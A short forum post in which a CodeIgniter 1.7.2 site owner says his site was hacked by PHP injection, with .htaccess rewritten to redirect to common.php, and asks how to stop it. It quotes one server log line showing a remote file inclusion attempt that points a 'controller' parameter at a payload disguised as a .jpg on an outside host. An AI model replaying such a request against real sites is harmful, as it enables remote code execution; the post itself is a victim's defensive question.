Help! My Codeigniter site was hacked

[eluser]gfields[/eluser]
Hi guys,
my website, based on codeigntier 1.7.2, was hacked again with php injection.
They modified the htaccess file to redirect every request to another file (common.php).

My host service sent me this line of server log, that seems to hold the responsible of the
attack: GET /products/getprod/5/index.php?option=com_advertising&controller=http://werisetogether.org//wp-content/themes/canvas/cache/task.jpg? HTTP/1.1" 200 14501 "-" "libwww-perl/5.805"

How can I avoid this kind of attack?

Thanks for your help

Gabriele